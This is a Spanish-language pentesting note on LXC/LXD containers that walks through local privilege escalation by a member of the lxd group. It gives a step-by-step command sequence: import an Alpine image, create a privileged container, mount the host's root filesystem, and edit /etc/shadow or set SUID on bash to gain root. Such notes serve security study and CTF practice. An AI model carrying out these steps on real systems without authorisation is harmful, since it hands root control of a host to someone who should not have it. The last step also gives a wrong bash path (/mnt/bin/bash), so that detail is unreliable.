LXC - LXD

Linux Containers (LXC)

Linux Containers (LXC) es una técnica de virtualización a nivel de sistema operativo que permite que varios sistemas Linux se ejecuten de forma aislada en un único host, al poseer sus propios procesos, pero compartir el kernel del sistema host. LXC es muy popular gracias a su facilidad de uso y se ha convertido en un componente esencial de la seguridad informática.

Linux Daemon (LXD)

Linux Daemon (LXD) es similar en algunos aspectos, pero está diseñado para contener un sistema operativo completo. Por lo tanto, no es un contenedor de aplicaciones, sino un contenedor de sistema. Antes de poder usar este servicio para escalar nuestros privilegios, debemos estar en el grupo lxc o lxd. Podemos averiguarlo con el siguiente comando:

elliot@debian:~$ id

uid=1000(elliot) gid=1000(elliot) groups=1000(container-user),116(lxd)

Explotación

A continuación, se describe el proceso para explotar un contenedor LXD/LXC con privilegios elevados y obtener acceso de root en el sistema host. Este método implica la creación de un contenedor privilegiado que monta el sistema de archivos del host, permitiendo la modificación de archivos críticos como /etc/shadow.

1.Descargar y transferir la imagen Alpine:

- Descarga la imagen mínima de Alpine Linux desde `https://github.com/saghul/lxd-alpine-builder.git`
git clone https://github.com/saghul/lxd-alpine-builder.git
- Transferir el archivo `alpine-v3.3-x86_64-20160114_2308.tar.gz`.

2.Inicializar LXD:

- Ejecutamos `lxd init` para inicializar el demonio de contenedores de Linux (**LXD**).

3.Importar la imagen local:

- Usamos el siguiente comando para importar la imagen:
lxc image import alpine-v3.3-x86_64-20160114_2308.tar.gz --alias alpine
- Verificmos la importación con:
lxc image list

4.Crear un contenedor privilegiado:

- Iniciamos un contenedor con privilegios elevados usando:
lxc init alpine privesc -c security.privileged=true
    - `alpine`: Nombre de la imagen.
    - `privesc`: Nombre del contenedor.
    - `security.privileged=true`: Permite que el contenedor se ejecute con los mismos privilegios que el usuario `root` en el host.

5.Montar el sistema de archivos del host: - Montamos todo el sistema de archivos del host (/) en el contenedor:

lxc config device add privesc mydev disk source=/ path=/mnt/root recursive=true
    - `source=/`: Ruta del sistema de archivos del host.
    - `path=/mnt/root`: Ruta de montaje en el contenedor.
    - `recursive=true`: Asegura que todos los archivos y carpetas sean accesibles.

6.Iniciar el contenedor: - Iniciamos el contenedor con:

lxc start privesc
- Verificamos el estado del contenedor con:
lxc list

7.Ejecutar comandos dentro del contenedor: - Accedemos a una shell dentro del contenedor:

lxc exec privesc /bin/sh

8.Modificar el sistema de archivos del host:

- Dentro del contenedor, navegamos a `/mnt/root` para acceder al sistema de archivos del host.
- Editamos archivos críticos como `/mnt/root/etc/shadow` para cambiar la contraseña de `root`.
- Esto permite iniciar sesión como `root` en el host.
- También podemos asignar permisos SUID al binario bash de `/mnt/bin/bash`.